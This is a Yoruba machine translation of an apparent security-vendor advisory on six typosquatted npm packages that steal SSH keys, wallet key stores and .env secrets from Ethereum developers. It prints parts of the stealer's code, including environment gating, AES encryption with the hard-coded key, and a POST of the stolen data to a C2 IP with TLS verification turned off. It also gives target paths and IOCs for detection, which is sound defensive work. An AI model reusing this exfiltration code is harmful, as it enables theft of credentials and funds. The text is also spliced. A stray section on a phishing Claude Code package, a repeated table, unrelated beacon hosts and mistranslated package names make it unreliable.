EVMDeFi npm Typosquatting Attack ji awọn bọtini Olùgbékalẹ̀

EVM/DeFi npm Typosquatting Attack Ji Àwọn Kọ́ọ̀bù Olùgbékalẹ̀

TL; DR

Ní ọjọ́ kẹfà oṣù karùn-ún ọdún 2026, olùtẹ̀wé npm kan ṣoṣo, namikazesarada010206, ti tì àwọn àkójọ ìwà ìkà mẹ́fà tí wọ́n fojú sí ètò ìdàgbàsókè Ethereum, Solidity, àti DeFi.

Àwọn àpótí náà, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, Ati web3-utils-core, lo àwọn orúkọ tó ṣeé ṣe tí a ṣe láti dà bí àwọn ilé ìkàwé olùrànlọ́wọ́ fún àwọn irinṣẹ́ Web3 tó gbajúmọ̀.

Gbogbo àwọn ìdìpọ̀ mẹ́fà náà ní irú kan náà telemetry.js fáìlì náà jọra sí àwọn páálí náà, pẹ̀lú SHA-256:

SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1

Malware naa ko ṣiṣẹ ni akoko fifi sori ẹrọ. Ko si preinstall or postinstall ìkọ́. Dípò bẹ́ẹ̀, ó máa ń ṣiṣẹ́ nígbà tí wọ́n bá kó àpò náà wọlé nípasẹ̀ require().

Àlàyé yẹn ṣe pàtàkì.

Agbára ìfàmọ́ra náà yóò dúró títí tí olùgbékalẹ̀ kan yóò fi lo àpò náà gan-an. Lẹ́yìn náà, yóò ṣàyẹ̀wò bóyá ibi iṣẹ́ náà dàbí àyíká ìdàgbàsókè Ethereum/Solidity gidi. Ó ń wá àwọn kọ́kọ́rọ́ Alchemy tàbí Infura, àwọn kọ́kọ́rọ́ àdáni, àwọn àmì ìdámọ̀, àwọn kọ́kọ́rọ́ deployer, tàbí ìwé àkójọ Foundry kan ní àdúgbò.

Tí olùgbàlejò bá bá ara wọn mu, ẹni tí ó jí ọjà náà yóò kó àwọn kọ́kọ́rọ́ ìkọ̀kọ̀ SSH, àwọn ibi ìpamọ́ àpò owó Foundry / Geth / Brownie, .env* Àwọn fáìlì, àti àwọn oníyípadà àyíká tó ṣe pàtàkì. Ó ń fi AES-256-GCM ṣàkọsílẹ̀ àkópọ̀ náà nípa lílo gbólóhùn ọ̀rọ̀ aṣínà tó ní àwọ̀, ó sì ń yọ ọ́ jáde sí ìparí IPv4 C2 láìsí ìfọwọ́sowọ́pọ̀ pẹ̀lú ìjẹ́rìísí TLS tí a ti parẹ́.

Ètò Ìkìlọ̀ Àkọ́kọ́ Malware (MEW) ti Xygeni jẹ́rìí sí i pé gbogbo àwọn ìdìpọ̀ mẹ́fà náà jẹ́ ohun ìkà. Ìròyìn ìforúkọsílẹ̀ npm náà wà ní ìdúró.

Ẹgbẹ́ Àwọn Ẹgbẹ́: Àwọn Àpò Mẹ́fà, Olùtẹ̀wé Kan

Àkọọ́lẹ̀ olùtẹ̀wé namikazesarada010206 a so mọ́ àdírẹ́sì Gmail tí a kò tíì fìdí rẹ̀ múlẹ̀ namikazesarada010206@gmail.com.

Ipolongo naa farahan bi iwejade ojo kan ti n jade ni May 6, 2026. Gbogbo awọn idii mẹfa ni a ṣe ikede bi 1.0.0, kò ní ìgbẹ́kẹ̀lé àkókò ìṣiṣẹ́ kankan, ó sì fi àwọn fáìlì mẹ́ta péré ránṣẹ́:

package.json index.js telemetry.js

Wọ́n tún kéde ibi ìpamọ́ orísun kan náà:

https://github.com/harunosakura030303-maker/evmchain-config

Àwọn ẹ̀rọ ìṣàyẹ̀wò MEW ló mú àwọn páálí mẹ́ta àkọ́kọ́ ní ìtẹ̀jáde àkọ́kọ́. Àwọn mẹ́ta tó kù ni wọ́n fi agbára ṣe àmì sí lẹ́yìn àtúnyẹ̀wò àkójọ npm ti olùtẹ̀wé náà. Nígbà kan náà, bátíìdì kan náà ni wọ́n rí. telemetry.js ni a ti jẹrisi kọja ẹgbẹ naa, wọn ti pa wọn bi ẹni ibi nipasẹ ibamu.

package version npm Tí a tẹ̀ jáde Tiketi MEW idajo
viem-core 1.0.0 2026-05-06 01:38:44Z #51049 Ibaje
viem-utils-core 1.0.0 2026-05-06 #51050 Ibaje
awọn ohun elo hardhat-core 1.0.0 2026-05-06 #51051 Ibaje
awọn ohun elo evm 1.0.0 2026-05-06 #51069 Ibi, nípa ìdúróṣinṣin
àwọn ilé iṣẹ́ ìṣàwárí 1.0.0 2026-05-06 #51071 Ibi, nípa ìdúróṣinṣin
web3-utils-core 1.0.0 2026-05-06 #51070 Ibi, nípa ìdúróṣinṣin

Ọgbọ́n ìsọ̀rọ̀ orúkọ náà rọrùn ṣùgbọ́n ó gbéṣẹ́.

Àwọn àkójọpọ̀ wọ̀nyí kò ṣe àfarawé orúkọ pàtó tí a ń pè ní òkè odò. Dípò bẹ́ẹ̀, wọ́n lo àwọn àfikún “ìlò” tí ó ṣeéṣe bíi -core, -utils, Ati -utils-coreÈyí mú kí wọ́n dà bí àwọn ilé ìkàwé alábàákẹ́gbẹ́ tí olùgbékalẹ̀ lè retí láti rí nítòsí àwọn irinṣẹ́ Web3.

Àpò Ìbàjẹ́ Àfojúsùn Tó Tọ́
viem-core viem, oníbàárà Ethereum TypeScript tó gbajúmọ̀
viem-utils-core viem
awọn ohun elo hardhat-core hardhat, agbegbe idagbasoke Solidity pataki kan
awọn ohun elo evm Ààyè orúkọ irinṣẹ́ EVM gbogbogbòò
àwọn ilé iṣẹ́ ìṣàwárí ilé ìṣẹ̀dá, ẹ̀rọ irinṣẹ́ Solidity
web3-utils-core awọn utils web3, awọn oluranlọwọ Web3.js

Àpẹẹrẹ “àfikún àpò” nìyí: kìí ṣe “Èmi ni àpò gidi,” ṣùgbọ́n “Mo dàbí olùrànlọ́wọ́ tó bójú mu nípa àpò gidi.”

Fún àwọn olùgbékalẹ̀ DeFi tí wọ́n ń yára gbéra, ìyẹn tó láti dá ewu sílẹ̀.

Kí ló máa ń ṣẹlẹ̀ tí wọ́n bá kó àpò náà wọlé?

Ẹ̀wọ̀n ìkọlù náà kéré, ó mọ̀ọ́mọ̀, ó sì dojúkọ àwọn àyíká ìdàgbàsókè crypto.

Kò sí ìkọ́ ìfìsíkọ́ọ̀dì. Dípò bẹ́ẹ̀, gbogbo páálí ní index.js tí ó ń kó iṣẹ́ stub jáde, lẹ́yìn náà ó sì ń gbé module telemetry búburú náà sórí rẹ̀.

require('./telemetry').init();

Èyí túmọ̀ sí wípé malware náà máa ń ṣiṣẹ́ nígbà tí a bá kọ́kọ́ kó o wọlé.

Iyẹn wúlò fún olùkọlù náà lọ́nà tí ó wúlò. Ọ̀pọ̀lọpọ̀ àwọn ẹ̀rọ ìṣàyẹ̀wò àti àpótí ìyanrìn ló ń dojúkọ ìwà àkókò ìfisílé. Àpò yìí dúró títí tí olùgbékalẹ̀, ìwé ìkọ̀wé ìkọ́lé, ìdánwò suite, tàbí ipa ọ̀nà ìṣiṣẹ́ yóò fi lò ó.

Ẹnubodè Ìṣiṣẹ́: Iná nìkan lórí Àwọn Iṣẹ́ Olùgbékalẹ̀ Web3 Real

Apá pàtàkì jùlọ nínú ìfàmọ́ra ni ẹnu ọ̀nà ìṣiṣẹ́.

Àwọn malware ń ṣàyẹ̀wò àwọn oníyípadà àyíká tí a sábà máa ń rí lórí àwọn ẹ̀rọ olùgbéjáde Ethereum/Solidity:

const indicators = [   process.env.ALCHEMY_API_KEY,   process.env.INFURA_KEY,   process.env.PRIVATE_KEY,   process.env.MNEMONIC,   process.env.DEPLOYER_KEY, ].filter(Boolean);

O tun ṣayẹwo boya Foundry dabi pe o ti fi sori ẹrọ:

fs.existsSync(path.join(os.homedir(), '.foundry'))

Tí kò bá sí èyíkéyìí nínú àwọn ipò náà tó jẹ́ òótọ́, iṣẹ́ náà yóò padà wá, kò sì ní ṣe ohunkóhun.

Èyí mú kí àpò náà dákẹ́ jẹ́ẹ́ ní àyíká ìṣàyẹ̀wò gbogbogbòò. Àpótí sandbox tí kò ní Foundry, Alchemy keys, Infura keys, private keys, tàbí mnemonics lè rí ohun tí ó dàbí ohun tí kò léwu.

Lórí ilé ìgbalejò tó bá ara wọn mu, malware náà máa ń dúró fún ìṣẹ́jú-àáyá 60 sí 90 kí ó tó di pé a kó o jọ:

setTimeout(() => { try { _collect(); } catch {} },           60000 + Math.random() * 30000).unref();

Ìdádúró náà dín ìbáṣepọ̀ tó ṣe kedere láàárín gbígbé wọlé àti ìtújáde omi kù. .unref() ipe naa tun jẹ ki ilana agbalejo jade ni deede ti a ba gbe package naa wọle ni iwe afọwọkọ kukuru.

Èyí kì í ṣe ìwà ìfọ́-sí-ì-gbà-kí-ẹnu-gbà. Ó jẹ́ olè tí a ṣe láti yẹra fún ṣíṣiṣẹ́ àyàfi tí àyíká àwọn olùgbéjáde bá yẹ kí ó jíjà lọ́wọ́.

Ohun tí Olè náà ń kó jọ

Nígbà tí ẹnu ọ̀nà ìṣiṣẹ́ bá ti kọjá, malware náà yóò kó jọ láti orísun tí ó ṣe pàtàkì jùlọ nínú ìdàgbàsókè Web3: àwọn kọ́kọ́rọ́ àdáni, àwọn ibi ìpamọ́ àpò owó, àwọn ìwé ẹ̀rí ìfiránṣẹ́, àwọn àṣírí àwọsánmà, àwọn àmì npm, àti ìṣètò iṣẹ́ àgbékalẹ̀ agbègbè.

orisun Ohun tí a kó jọ
ilana.env Èyíkéyìí ìyípadà tó báramu /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* Àwọn fáìlì tí ó ní PRIVATE KEY tàbí BEGIN OPENSSH, pẹ̀lú gbogbo àkóónú fáìlì
~/.ilé ìtajà/àwọn ilé ìtajà kéékèèké/* Àwọn fáìlì kóòdù àpò ìpamọ́ Foundry
~/.ethereum/keystore/* Àwọn fáìlì kéèkì Geth àpò owó
~/.brownie/àkọọ́lẹ̀/* Àwọn fáìlì ìpamọ́ kọ́kọ́rọ́ àpò ìpamọ́ Brownie
${cwd}/.env Àkóónú gbogbo fáìlì
${cwd}/.env.local Àkóónú gbogbo fáìlì
${cwd}/.env.production Àkóónú gbogbo fáìlì
${cwd}/.env.idagbasoke Àkóónú gbogbo fáìlì
os.hostname() Àwọn ìwífún ìgbàlejò
crypto.lailetoUUID() Ẹni tí ó jẹ́ olùfaragbá/àkókò ìdámọ̀
Ọjọ.bayi() Àkókò ìkójọ
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com

Àwọn àmì ATTA ni:

ATTA_ID 00400014144 ATTA_TOKEN 6478159937

A ko ti le jẹrisi boya telemetry naa jẹ itupalẹ ti oniṣẹ tabi ikanni ti a ṣe owo lọtọ. Awọn ami ATTA kanna ni awọn ayẹwo mejeeji ti a ṣe ayẹwo.

Ẹgbẹ́ B: heibai

claude.hk OAuth Phishing + ANTHROPIC_BASE_URL Gbigbe

Àpẹẹrẹ ọjọ́ kìíní oṣù kẹrin ni apá tó lágbára jù nínú ìpolongo náà.

heibai:2.1.88-claude.hk-4 ti gbejade nipasẹ wuguoqiangvip28, àkọọ́lẹ̀ kan tí a dá ní Okudu 7, 2025. Àpò náà ṣe àgbékalẹ̀ ara rẹ̀ ní kedere lòdì sí òfin tó tọ́. 2.1.88 Ìtújáde ẹ̀dá ènìyàn.

Kò yọjú sí CA-cert MITM. Dípò bẹ́ẹ̀, ó purọ́ fún olùlò nípa OAuth endpoint.

Àwọn àfikún búburú lórí orísun Claude Code tí ó tú jáde náà ni:

orisun Ohun tí a kó jọ
ilana.env Èyíkéyìí ìyípadà tó báramu /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* Àwọn fáìlì tí ó ní PRIVATE KEY tàbí BEGIN OPENSSH, pẹ̀lú gbogbo àkóónú fáìlì
~/.ilé ìtajà/àwọn ilé ìtajà kéékèèké/* Àwọn fáìlì kóòdù àpò ìpamọ́ Foundry
~/.ethereum/keystore/* Àwọn fáìlì kéèkì Geth àpò owó
~/.brownie/àkọọ́lẹ̀/* Àwọn fáìlì ìpamọ́ kọ́kọ́rọ́ àpò ìpamọ́ Brownie
${cwd}/.env Àkóónú gbogbo fáìlì
${cwd}/.env.local Àkóónú gbogbo fáìlì
${cwd}/.env.production Àkóónú gbogbo fáìlì
${cwd}/.env.idagbasoke Àkóónú gbogbo fáìlì
os.hostname() Àwọn ìwífún ìgbàlejò
crypto.lailetoUUID() Ẹni tí ó jẹ́ olùfaragbá/àkókò ìdámọ̀
Ọjọ.bayi() Àkókò ìkójọ

Àkójọ àwọn ohun tí a fẹ́ ṣe pàtó ni èyí. Èyí kì í ṣe olè ìṣàwárí tàbí ìfọwọ́sowọ́pọ̀ ìwé ẹ̀rí gbígbòòrò. Ó jẹ́ fún àwọn olùgbékalẹ̀ tí wọ́n ń kọ́, dán wò, gbé e kalẹ̀, tàbí ṣiṣẹ́ àwọn ohun èlò Ethereum.

Fífi àwọn ilé ìtajà Foundry, Geth, àti Brownie kún un ṣe pàtàkì gan-an. Àwọn fáìlì wọ̀nyí lè dúró fún wíwọlé taara sí àwọn àpò owó tàbí ìdámọ̀ ìfiránṣẹ́. Tí ẹni tó ń lu wọ́n bá lè so wọ́n pọ̀ mọ́ àwọn ọ̀rọ̀ ìpamọ́, àmì ìrántí, tàbí àṣírí àyíká, wọ́n lè lè gbé owó kiri, ṣe àfarawé àwọn olùfiránṣẹ́, tàbí ṣe àdéhùn onímọ̀ràn.

Ìfipamọ́ Kí Ó Tóó Tú Sílẹ̀

Malware naa n fi data ti a kojọ pamọ pamọ ṣaaju ki o to fi ranṣẹ.

const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);

Ọ̀rọ̀ ìpamọ́ tí a fi àmì sí ni:

a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d

A fi JSON wé ẹrù ìṣẹ́ ìkẹyìn náà:

{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"}

Ìfọwọ́sowọ́pọ̀ kò jẹ́ kí malware náà tẹ̀síwájú fúnra rẹ̀. Síbẹ̀síbẹ̀, ó mú kí àyẹ̀wò nẹ́tíwọ́ọ̀kì le sí i. Olùgbèjà tí ó ń wo ìjáde yóò rí ẹrù JSON, ṣùgbọ́n kì í ṣe àwọn kọ́kọ́rọ́ tí a jí, àwọn fáìlì àpò owó, tàbí àwọn .env àwọn akoonu láìsí ọ̀rọ̀ ìpamọ́ tí a fi àkójọpọ̀ àti ìlànà ìyípadà.

Ìyọkúrò sí IPv4 C2 tí kò ṣe kedere

Ọ̀nà ìtújáde náà jẹ́ èyí tí a fi àmì sí:

const req = https.request({   hostname: '76.13.37.80', port: 8443,   path: '/api/v1/telemetry', method: 'POST',   headers: { 'Content-Type': 'application/json', ... },   rejectUnauthorized: false, timeout: 8000, }, () => {});

Malware naa n fi data ranṣẹ si:

https://76.13.37.80:8443/api/v1/telemetry

Àwọn kúlẹ̀kúlẹ̀ méjì ló fara hàn gbangba.

Àkọ́kọ́, C2 jẹ́ àdírẹ́sì IPv4 tí kò ṣeé yípadà dípò domain. Èyí mú àìní ìforúkọsílẹ̀ domain kúrò, ó sì yẹra fún àwọn àwárí tí ó dá lórí domain.

Èkejì, ìjẹ́rìísí TLS ti di aláìṣiṣẹ́ pẹ̀lú:

rejectUnauthorized: false

Èyí á jẹ́ kí malware gba ìwé ẹ̀rí èyíkéyìí, títí kan àwọn ìwé ẹ̀rí tí a fọwọ́ sí fúnra rẹ̀. Ní ọ̀rọ̀ mìíràn, ẹni tí ó kọlù náà yóò gba ìrìnàjò ìkọ̀kọ̀ láìsí pé ó nílò ìwé ẹ̀rí gbogbogbòò tí ó wúlò.

Kò sí ìlànà ìgbìyànjú àti pé kò sí fallback host. Àwọn àṣìṣe ni a gbé mì láìsí ìkọ̀kọ̀. Èyí yóò mú kí package náà dákẹ́ tí C2 kò bá sí lórí ìkànnì tàbí tí a kò bá lè dé ọ̀dọ̀ rẹ̀.

Kini idi ti ipolongo yii ṣe pataki

Pupọ julọ awọn package npm irira ti a fojusi si awọn olupilẹṣẹ lepa awọn iwe-ẹri gbooro: awọn token npm, awọn bọtini AWS, awọn token GitHub, tabi .npmrc awọn faili.

Ipolongo yii dín ibi ti a fe fojusi kù.

Ó máa ń wá àmì tó fi hàn pé ẹ̀rọ náà jẹ́ ti Ethereum tàbí olùgbékalẹ̀ Solidity. Lẹ́yìn náà, ó máa ń fa àwọn ohun ìní tó ṣe pàtàkì ní àyíká yẹn: àwọn ilé ìtajà kéékèèké, àwọn kọ́kọ́rọ́ àdáni, àwọn àmì ìdámọ̀ràn, àwọn kọ́kọ́rọ́ deployer, .env awọn faili, ati awọn bọtini SSH.

Iyẹn mú kí ìpolongo náà léwu fún àwọn ẹgbẹ́ Web3 ju àwọn olè npm gbogbogbò lọ.

Àrùn tó bá yọrí sí rere lè fi hàn pé:

  • Àwọn àpò ìfiránṣẹ́
  • Àwọn kọ́kọ́rọ́ olùṣàkóso àdéhùn ọlọ́gbọ́n
  • Awọn bọtini olupese RPC
  • Àwọn ẹ̀rí ìfiranṣẹ́ ìṣiṣẹ́ àwọsánmà
  • àwọn àmì ìtẹ̀jáde npm
  • Wiwọle SSH si Olùgbékalẹ̀ tabi awọn amayederun ikole
  • Àwọn àṣírí iṣẹ́ àgbékalẹ̀ tí a pamọ́ sínú .env awọn faili
  • Àwọn ilé ìtajà kọ́kọ́rọ́ àpò owó fún Foundry, Geth, tàbí Brownie

Àwọn orúkọ àpò náà tún fi ìmọ̀ ẹ̀rọ àwùjọ tó ṣe kedere hàn. Wọ́n fojú sí ètò ìṣẹ̀dá olùgbéjáde Web3 nípasẹ̀ àwọn orúkọ irinṣẹ́ tí a mọ̀: viem, hardhat, foundry, evm, Ati web3.

Kò sí ìdí tí òṣèré náà fi gbọ́dọ̀ ba àwọn iṣẹ́ gidi jẹ́. Olùgbékalẹ̀ kan ṣoṣo ló nílò láti fi ohun tó dà bí ohun tó yẹ fún un sori ẹ̀rọ.

Àwọn Àmì Ìbáramu àti Ṣíṣàwárí

Àwọn ìdìpọ̀ àti Olùtẹ̀wé
Field iye
olùtẹ̀jáde npm namikazesarada010206
Imeeli olutẹwe namikazesarada010206@gmail.com
Imeeli ti jẹri Rara
SCM wadi Rara
Àmì orúkọ rere 1.0
jo viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, web3-utils-core
awọn ẹya Gbogbo 1.0.0
Ibi ipamọ orisun https://github.com/harunosakura030303-maker/evmchain-config
Ti jẹrisi iwa ibi Gbogbo awọn idii mẹfa naa
Network
iru iye
Ipin opin C2 https://76.13.37.80:8443/api/v1/telemetry
C2 IP 76.13.37.80
Ibudo C2 8443/tcp
Ìwà TLS kọLaisi aṣẹ: èké
Ètò ẹrù iṣẹ́ {"v":2,"iv": "d": , "t": }
Àwọn Fáìlì àti Àwọn Háṣì
iru iye
telemetry.js SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1
Ìṣètò àkójọpọ̀ package.json, index.js, telemetry.js
Nọmba faili 3
Iwọn apapọ ti o sunmọ 3.4 KB

Àwọn Àmì Ìṣiṣẹ́

Àwọn malware máa ń ṣàyẹ̀wò àwọn oníyípadà àyíká wọ̀nyí:

ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY

Ó tún ń ṣàyẹ̀wò fún:

~/.foundry/

Àwọn ipa ọ̀nà olùgbàlejò tí a fojúsùn

~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development

Regex Àkójọpọ̀

/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i

Awọn Akọsilẹ Iwari

Ọ̀pọ̀ òfin ló gbé ìpolongo yìí kalẹ̀ láìsí pé a nílò àyẹ̀wò ìwà wa dáadáa.

Àkọ́kọ́, ṣe àyẹ̀wò àwọn lockfiles fún àwọn orúkọ mẹ́fà tí wọ́n ń pè ní package búburú:

viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core

Eyikeyi ibaamu ninu package-lock.json, yarn.lock, pnpm-lock.yaml, tabi node_modules Ó yẹ kí a máa wo ìtàn gẹ́gẹ́ bí ìṣẹ̀lẹ̀ pàtàkì.

Èkejì, ṣe àbójútó fún àwọn ìlànà Node.js kíka àwọn ipa ọ̀nà keystore àpò owó:

~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/

Èyí kì í sábà jẹ́ ìwà tó tọ́ fún àpò tí a kó wọlé gẹ́gẹ́ bí ìgbẹ́kẹ̀lé ìrànlọ́wọ́. Ó máa ń jẹ́ ohun tí a fura sí ní pàtàkì nígbà tí ìṣiṣẹ́ nẹ́tíwọ́ọ̀kì tí ń jáde lọ bá tẹ̀lé e.

Ẹkẹta, dènà tabi kilọ lori awọn asopọ HTTPS si:

76.13.37.80:8443

Pàápàá jùlọ nígbà tí ọ̀nà ìbéèrè bá jẹ́:

/api/v1/telemetry

Ẹkẹrin, wa awọn package npm ti o darapọ awọn abuda wọnyi:

  • Olùtẹ̀jáde tuntun tàbí oníyì kékeré
  • Àkọọ́lẹ̀ Gmail tí a kò tíì fìdí rẹ̀ múlẹ̀
  • Orúkọ àkójọpọ̀ tí ó wà lẹ́gbẹ̀ẹ́ Web3
  • Ko si itan ibi ipamọ ti o ni itumọ
  • Ìṣètò àkójọ kékeré
  • index.js tí ó ń gbé fáìlì olùrànlọ́wọ́ tàbí tẹlifíṣọ̀n kan sókè
  • Ko si awọn igbẹkẹle akoko ṣiṣe
  • Àkójọpọ̀ àyíká onímọ̀lára-ìyípadà
  • Iwọle si ile itaja bọtini apamọwọ

Àwòrán yìí wúlò ju IOC kan ṣoṣo lọ nítorí pé àpò tó tẹ̀lé lè yí àdírẹ́sì IP padà ṣùgbọ́n ó lè máa lo ìlànà ìfojúsùn kan náà.

Àkójọ Àyẹ̀wò Ìdáhùn Ìbámu

Tí olùgbékalẹ̀ kan bá lo ọ̀kan lára ​​àwọn páálí mẹ́fà náà tí àyíká wọn sì bá ẹnu ọ̀nà ìṣiṣẹ́ mu, ṣe àkíyèsí ibi iṣẹ́ náà gẹ́gẹ́ bí èyí tí ó ní ìṣòro.

Èyí ní àwọn ẹ̀rọ tí a fi Foundry sí, àwọn kọ́kọ́rọ́ Alchemy tàbí Infura nínú àyíká, àwọn kọ́kọ́rọ́ àdáni, àwọn àmì ìdámọ̀, tàbí àwọn kọ́kọ́rọ́ deployer.

Ìdáhùn tí a gbani nímọ̀ràn:

  • Ge asopọ olugbalejo kuro ninu nẹtiwọọki.
  • Ṣetọju node_modules, àwọn fáìlì ìdènà, ìtàn ìkọ̀kọ̀, àti àwọn àkọsílẹ̀ tó báramu fún àwọn onímọ̀ nípa ìwádìí.
  • Yi gbogbo bọtini SSH pada labẹ ~/.ssh/.
  • Yi awọn bọtini apamọwọ pada fun gbogbo ile itaja bọtini labẹ ~/.foundry, ~/.ethereum, Ati ~/.brownie.
  • Gbe owo naa si awọn apamọwọ tuntun.
  • Yi gbogbo ìkọ̀kọ̀ tí a tọ́jú sínú rẹ̀ .env* awọn faili ni awọn ibi ipamọ ti Olùgbéjáde naa ṣiṣẹ ninu.
  • Yí àwọn àṣírí àyíká tí ó bá ìṣètò àkójọpọ̀ mu, títí bí àwọn kọ́kọ́rọ́ AWS, àwọn àmì npm, àwọn àmì ìfiránṣẹ́, àwọn kọ́kọ́rọ́ API, àwọn kọ́kọ́rọ́ àdáni, àwọn èso, àti àwọn àmì ìrántí.
  • Àwọsánmà àyẹ̀wò, npm, GitHub, olùpèsè RPC, àti ìgbòkègbodò blockchain láti ìgbà tí a kọ́kọ́ fi package náà sí.
  • Tún àwòrán ibi iṣẹ́ náà kí o tó tún un lò.

Àwọn Ohun Tí Àwọn Olùgbèjà Yẹ Kí Ó Gba Lọ́wọ́

Ìpolongo yìí fihàn bí ìkọ̀wé npm ṣe ń yí padà ní àyíká àwọn ètò ìgbékalẹ̀ onígbèsè tó níye lórí.

Òṣèré náà kò nílò ìfaradà. Wọn kò nílò ìfọkànsìn. Wọn kò tilẹ̀ nílò iṣẹ́ àṣekára-àkókò.

Dípò bẹ́ẹ̀, wọ́n gbẹ́kẹ̀lé ohun mẹ́ta:

  • Àwọn orúkọ àkójọpọ̀ Web3 tó ṣeé ṣe
  • Ṣiṣẹ́ nìkan lórí àwọn ẹ̀rọ ìdàgbàsókè crypto gidi
  • Olè taara ti awọn faili ati awọn aṣiri ti o ṣe pataki julọ fun awọn olupilẹṣẹ Ethereum

Iyẹn mú kí ìpolongo náà rọrùn láti pàdánù ní ìwòran gbígbòòrò àti ewu nígbà tí ó bá dé sí àyíká tí ó tọ́.

Fún àwọn ẹgbẹ́ Web3, ẹ̀kọ́ náà ṣe kedere: máa wo àwọn orúkọ ìgbẹ́kẹ̀lé gẹ́gẹ́ bí apá kan lára ​​àpẹẹrẹ ewu rẹ. Àpò tí ó dàbí olùrànlọ́wọ́ tí kò léwu lè jẹ́ ọ̀nà tí ó kúrú jùlọ láti fi àdéhùn owó pamọ́.

A ti royin registry npm. A o ma se imudojuiwọn ifiweranṣẹ yii nigbati a ba ti yọ akọọlẹ olutẹjade ati awọn package kuro.

àwọn irinṣẹ́ ìwádìí-àkójọpọ̀-ẹ̀rọ-sca-tools
Ṣe àfiyèsí, ṣe àtúnṣe, kí o sì dáàbò bo àwọn ewu sọ́fítíwè rẹ
Gba Akaunti Ọfẹ rẹ.
Ko si kaadi kirẹditi ti o nilo.

Ṣe aabo fun idagbasoke ati ifijiṣẹ sọfitiwia rẹ

pẹlu Xygeni Product Suite